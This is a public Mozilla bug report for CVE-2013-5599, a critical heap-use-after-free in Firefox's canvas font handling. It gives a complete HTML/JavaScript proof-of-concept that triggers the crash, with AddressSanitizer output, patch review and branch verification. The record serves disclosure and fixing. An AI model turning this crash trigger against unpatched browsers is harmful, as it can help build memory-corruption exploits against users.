Closed Bug 915210 (CVE-2013-5599) Opened 10 years ago Closed 10 years ago

ASAN heap-use-after-free in nsIPresShell::GetPresContext() with canvas, onresize and mozTextStyle

Categories

(Core :: Graphics: Canvas2D, defect)

Product:
Core
Component:
Graphics: Canvas2D
Platform:
x86_64
Linux
Type:
defect
Priority:
Not set
Severity:
normal

Tracking

()

Status:
RESOLVED FIXED
Milestone:
mozilla27
Tracking Flags:
Tracking Status
firefox23 --- wontfix
firefox24 --- wontfix
firefox25 + verified
firefox26 + verified
firefox27 + verified
firefox-esr17 25+ verified
firefox-esr24 25+ verified
b2g18 25+ fixed
b2g-v1.1hd --- fixed
b2g-v1.2 --- fixed

People

(Reporter: nils, Assigned: smaug)

Details

(Keywords: csectype-uaf, sec-critical, Whiteboard: [asan][adv-main25+][adv-esr1710+][adv-esr24-1+])

Attachments

(1 file)

patch
981 bytes, patch
bzbarsky
: review+
akeybl
: approval-mozilla-aurora+
akeybl
: approval-mozilla-beta+
akeybl
: approval-mozilla-esr17+
akeybl
: approval-mozilla-esr24+
akeybl
: approval-mozilla-b2g18+
Details | Diff | Splinter Review 
The following testcase crashes the firefox ASAN build:

<html>
<script>
function start() {
o14=document.createElement('iframe');
o14.src="data:text/html,<body id='e0'></body>";
document.getElementById('s').appendChild(o14);
window.setTimeout('startrly()', 100);
}
function startrly() {
o101=o14.contentDocument.getElementById('e0');
o130=document.createElement('canvas');
o131=o130.getContext('2d');
o154=o130;
o101.appendChild(o154);
o14.contentWindow.onresize=cb_frameresize_25_1;
o14.width='1';
window.scroll(175,961);
o131.mozTextStyle;
}
function cb_frameresize_25_1() {
document.body.appendChild(document.getElementById("s"));
}
</script>
<body onload="start()">
<div id="s"></div>
</body>
</html>
The asan output after the crash:

=================================================================
==44288==ERROR: AddressSanitizer: heap-use-after-free on address 0x6160001a7990 at pc 0x7f135250880d bp 0x7fff00d7e250 sp 0x7fff00d7e248
READ of size 8 at 0x6160001a7990 thread T0
    #0 0x7f135250880c in nsIPresShell::GetPresContext() const /layout/style/../base/nsIPresShell.h:286:0
    #1 0x7f13525083b5 in nsComputedDOMStyle::GetStyleContextForElementNoFlush(mozilla::dom::Element*, nsIAtom*, nsIPresShell*, nsComputedDOMStyle::StyleType) /layout/style/nsComputedDOMStyle.cpp:332:54
    #1 0x7f13525083b5 in nsComputedDOMStyle::GetStyleContextForElementNoFlush(mozilla::dom::Element*, nsIAtom*, nsIPresShell*, nsComputedDOMStyle::StyleType) /layout/style/nsComputedDOMStyle.cpp:332:54
    #3 0x7f1352b32822 in mozilla::dom::CanvasRenderingContext2D::SetFont(nsAString_internal const&, mozilla::ErrorResult&) /content/canvas/src/CanvasRenderingContext2D.cpp:2072:0
    #4 0x7f1352b36edb in mozilla::dom::CanvasRenderingContext2D::GetCurrentFontStyle() /content/canvas/src/CanvasRenderingContext2D.cpp:2724:0
    #5 0x7f1354ff7af6 in mozilla::dom::CanvasRenderingContext2D::GetFont() /obj-firefox/dom/bindings/../../dist/include/mozilla/dom/CanvasRenderingContext2D.h:569:0
    #6 0x7f1354ff3c66 in mozilla::dom::CanvasRenderingContext2DBinding::genericGetter(JSContext*, unsigned int, JS::Value*) /obj-firefox/dom/bindings/CanvasRenderingContext2DBinding.cpp:4197:0
    #7 0x7f13574b51fa in JSFunction::native() const /js/src/jscntxtinlines.h:219:0
    #8 0x7f13574b6218 in js::Invoke(JSContext*, JS::Value const&, JS::Value const&, unsigned int, JS::Value*, JS::MutableHandle<JS::Value>) /js/src/vm/Interpreter.cpp:539:0
    #9 0x7f13574b706c in js::InvokeGetterOrSetter(JSContext*, JSObject*, JS::Value, unsigned int, JS::Value*, JS::MutableHandle<JS::Value>) /js/src/vm/Interpreter.cpp:610:23
    #10 0x7f1357834a53 in js::Shape::get(JSContext*, JS::Handle<JSObject*>, JSObject*, JSObject*, JS::MutableHandle<JS::Value>) /js/src/vm/Shape-inl.h:256:0
    #11 0x7f1357824b63 in _ZL15NativeGetInlineILN2js7AllowGCE1EEbP9JSContextNS0_11MaybeRootedIP8JSObjectXT_EE10HandleTypeES8_S8_NS4_IPNS0_5ShapeEXT_EE10HandleTypeEjNS4_IN2JS5ValueEXT_EE17MutableHandleTypeE /js/src/jsobj.cpp:4070:21
    #12 0x7f13574c722d in GetPropertyOperation(JSContext*, js::StackFrame*, JS::Handle<JSScript*>, unsigned char*, JS::MutableHandle<JS::Value>, JS::MutableHandle<JS::Value>) /js/src/vm/Interpreter.cpp:292:0
    #13 0x7f13574a3122 in Interpret(JSContext*, js::RunState&) /js/src/vm/Interpreter.cpp:2298:0
    #14 0x7f13574969b1 in js::RunScript(JSContext*, js::RunState&) /js/src/vm/Interpreter.cpp:446:0
    #15 0x7f13574b74eb in js::ExecuteKernel(JSContext*, JS::Handle<JSScript*>, JSObject&, JS::Value const&, js::ExecuteType, js::AbstractFramePtr, JS::Value*) /js/src/vm/Interpreter.cpp:630:0
    #16 0x7f13574b7846 in js::Execute(JSContext*, JS::Handle<JSScript*>, JSObject&, JS::Value*) /js/src/vm/Interpreter.cpp:666:0
    #17 0x7f13576bcf9d in JS::Evaluate(JSContext*, JS::Handle<JSObject*>, JS::CompileOptions, unsigned short const*, unsigned long, JS::Value*) /js/src/jsapi.cpp:5120:0
    #18 0x7f135331870a in nsJSUtils::EvaluateString(JSContext*, nsAString_internal const&, JS::Handle<JSObject*>, JS::CompileOptions&, nsJSUtils::EvaluateOptions&, JS::Value*) /dom/base/nsJSUtils.cpp:268:0
    #19 0x7f1353306607 in nsJSContext::EvaluateString(nsAString_internal const&, JS::Handle<JSObject*>, JS::CompileOptions&, bool, JS::Value*) /dom/base/nsJSEnvironment.cpp:993:0
    #20 0x7f13532c487c in nsGlobalWindow::RunTimeoutHandler(nsTimeout*, nsIScriptContext*) /dom/base/nsGlobalWindow.cpp:10473:0
    #21 0x7f13532a8f72 in nsGlobalWindow::RunTimeout(nsTimeout*) /dom/base/nsGlobalWindow.cpp:10717:0
    #22 0x7f13532c3abc in nsGlobalWindow::TimerCallback(nsITimer*, void*) /dom/base/nsGlobalWindow.cpp:10964:0
    #23 0x7f1355c4bda0 in nsTimerImpl::Fire() /xpcom/threads/nsTimerImpl.cpp:546:0
    #24 0x7f1355c4c456 in nsTimerEvent::Run() /xpcom/threads/nsTimerImpl.cpp:630:0
    #25 0x7f1355c41a69 in nsThread::ProcessNextEvent(bool, bool*) /xpcom/threads/nsThread.cpp:622:0
    #26 0x7f1355b685b1 in NS_ProcessNextEvent(nsIThread*, bool) /obj-firefox/xpcom/build/nsThreadUtils.cpp:238:0
    #27 0x7f13549a29e0 in mozilla::ipc::MessagePump::Run(base::MessagePump::Delegate*) /ipc/glue/MessagePump.cpp:116:0
    #28 0x7f1355d66b53 in MessageLoop::RunInternal() /ipc/chromium/src/base/message_loop.cc:220:0
    #29 0x7f135478915c in nsBaseAppShell::Run() /widget/xpwidgets/nsBaseAppShell.cpp:161:0
    #30 0x7f135416fc5e in nsAppStartup::Run() /toolkit/components/startup/nsAppStartup.cpp:269:0
    #31 0x7f135155ac00 in XREMain::XRE_mainRun() /toolkit/xre/nsAppRunner.cpp:3869:0
    #32 0x7f135155bb55 in XREMain::XRE_main(int, char**, nsXREAppData const*) /toolkit/xre/nsAppRunner.cpp:3937:0
    #33 0x7f135155ca8b in XRE_main /toolkit/xre/nsAppRunner.cpp:4139:0
    #34 0x459c8d in do_main(int, char**, nsIFile*) /browser/app/nsBrowserApp.cpp:275:0
    #35 0x7f1360aa9ea4 (/lib/x86_64-linux-gnu/libc.so.6+0x21ea4)
    #36 0x45910c in ?? ??:0:0
0x6160001a7990 is located 16 bytes inside of 600-byte region [0x6160001a7980,0x6160001a7bd8)
freed by thread T0 here:
    #0 0x446015 in __interceptor_free /builds/slave/moz-toolchain/src/llvm/projects/compiler-rt/lib/asan/asan_malloc_linux.cc:64:0
    #1 0x7f1352121db8 in PresShell::Release() /layout/base/nsPresShell.cpp:712:0
previously allocated by thread T0 here:
    #0 0x446155 in malloc /builds/slave/moz-toolchain/src/llvm/projects/compiler-rt/lib/asan/asan_malloc_linux.cc:74:0
    #1 0x7f135c0ae5c8 in moz_xmalloc /memory/mozalloc/mozalloc.cpp:54:0
    #2 0x7f13520aa8c3 in nsDocumentViewer::InitPresentationStuff(bool) /layout/base/nsDocumentViewer.cpp:661:0
    #3 0x7f13520aa1a8 in nsDocumentViewer::InitInternal(nsIWidget*, nsISupports*, nsIntRect const&, bool, bool, bool) /layout/base/nsDocumentViewer.cpp:907:0
    #4 0x7f13520a92f0 in nsDocumentViewer::Init(nsIWidget*, nsIntRect const&) /layout/base/nsDocumentViewer.cpp:643:0
    #5 0x7f1353f84917 in nsDocShell::Embed(nsIContentViewer*, char const*, nsISupports*) /docshell/base/nsDocShell.cpp:6357:0
    #6 0x7f1353f96e8d in nsDocShell::CreateContentViewer(char const*, nsIRequest*, nsIStreamListener**) /docshell/base/nsDocShell.cpp:8133:0
    #7 0x7f1353f3af5e in nsDSURIContentListener::DoContent(char const*, bool, nsIRequest*, nsIStreamListener**, bool*) /docshell/base/nsDSURIContentListener.cpp:122:0
    #8 0x7f1353fde272 in nsDocumentOpenInfo::TryContentListener(nsIURIContentListener*, nsIChannel*) /uriloader/base/nsURILoader.cpp:680:0
    #9 0x7f1353fdbc1c in nsDocumentOpenInfo::DispatchContent(nsIRequest*, nsISupports*) /uriloader/base/nsURILoader.cpp:382:0
    #10 0x7f1353fdb38f in nsDocumentOpenInfo::OnStartRequest(nsIRequest*, nsISupports*) /uriloader/base/nsURILoader.cpp:258:0
    #11 0x7f13518113b2 in nsBaseChannel::OnStartRequest(nsIRequest*, nsISupports*) /netwerk/base/src/nsBaseChannel.cpp:720:0
There are at least two bugs, nsComputedDOMStyle::GetStyleContextForElement uses raw presshell pointer after flush and so does CanvasRenderingContext2D::SetFont
Keywords: sec-critical
Assignee: nobody → bugs
Attached patch patch — — Splinter Review 
Actually this should be enough. We return early in canvas code if
this code doesn't end up succeeding.
Attachment #803085 - Flags: review?(bzbarsky)
Comment on attachment 803085 [details] [diff] [review]
patch

r=me
Attachment #803085 - Flags: review?(bzbarsky) → review+
Comment on attachment 803085 [details] [diff] [review]
patch

[Approval Request Comment]
Bug caused by (feature/regressing bug #): at least 4 years old regression
User impact if declined: crashes
Testing completed (on m-c, etc.): NA 
Risk to taking this patch (and alternatives if risky): Should be super-safe 
String or IDL/UUID changes made by this patch: NA
Attachment #803085 - Flags: approval-mozilla-esr24?
Attachment #803085 - Flags: approval-mozilla-esr17?
Attachment #803085 - Flags: approval-mozilla-beta?
Attachment #803085 - Flags: approval-mozilla-b2g18?
Attachment #803085 - Flags: approval-mozilla-aurora?
Clearly the bug must not be that easy to stumble across if we haven't in 4 years of testing, including a year of fuzz testing on ASan builds, but the trivial patch is a big clue: adding a reference right before a flush. Not sure I'm comfortable exposing this 7 weeks before we can ship it, and I wouldn't count on getting a ride-along on a 24.0.1 because we really really don't want to have to do a 24.0.1
Keywords: csec-uaf
I think it should be ok to land this very late during the next cycle.
It makes me uncomfortable that the line 'o131.mozTextStyle' causes the iframe's onresize event to fire, synchronously.  Is that a bug too?
(and why is the scroll() call needed to make it happen synchronously?)
FlushPendingNotifications explicitly fires pending resize events, very much on purpose. Though
perhaps these days we could fire it at the end of microtask.
How late in the cycle are we talking?  2nd to last week of beta 25?
That sounds good. The patch should be super safe.
Whiteboard: [land week of 10/14]
status-firefox24: affected → wontfix
status-firefox27: --- → affected
tracking-firefox24: + → ---
tracking-firefox27: --- → +
Whiteboard: [land week of 10/14] → [asan][land week of 10/14]
Keywords: checkin-needed
Whiteboard: [asan][land week of 10/14] → [asan][land week of 10/14][let's do this]
Attachment #803085 - Flags: approval-mozilla-esr24?
Attachment #803085 - Flags: approval-mozilla-esr24+
Attachment #803085 - Flags: approval-mozilla-esr17?
Attachment #803085 - Flags: approval-mozilla-esr17+
Attachment #803085 - Flags: approval-mozilla-beta?
Attachment #803085 - Flags: approval-mozilla-beta+
Attachment #803085 - Flags: approval-mozilla-b2g18?
Attachment #803085 - Flags: approval-mozilla-b2g18+
Attachment #803085 - Flags: approval-mozilla-aurora?
Attachment #803085 - Flags: approval-mozilla-aurora+
https://hg.mozilla.org/integration/mozilla-inbound/rev/14b7cbd254a8

Will land on the release branches today after it's green on inbound.
https://hg.mozilla.org/mozilla-central/rev/3a486112072b

Argh, sorry, I didn't see that message about m-i, and I landed to m-c.
I hope I didn't ruin merging.
Status: NEW → RESOLVED
Closed: 10 years ago
Resolution: --- → FIXED
Whiteboard: [asan][land week of 10/14][let's do this] → [asan]
Matt, can you please verify this is fixed across all patched branches?
Flags: needinfo?(mwobensmith)
Keywords: verifyme
Confirmed crash on pre-patch ASan build of 24esr.
Verified fix on ASan builds of 24esr, 25, 26 and 27, 2013-10-15.

I'm having build issues with 17esr at the moment, and we'll have to verify B2G later.
status-firefox25: fixed → verified
status-firefox26: fixed → verified
status-firefox27: fixed → verified
status-firefox-esr24: fixed → verified
Flags: needinfo?(mwobensmith)
Keywords: verifyme
Whiteboard: [asan] → [asan][adv-main25+][adv-esr1710+][adv-esr24-1+]
Alias: CVE-2013-5599
Group: core-security
You need to log in before you can comment on or make changes to this bug.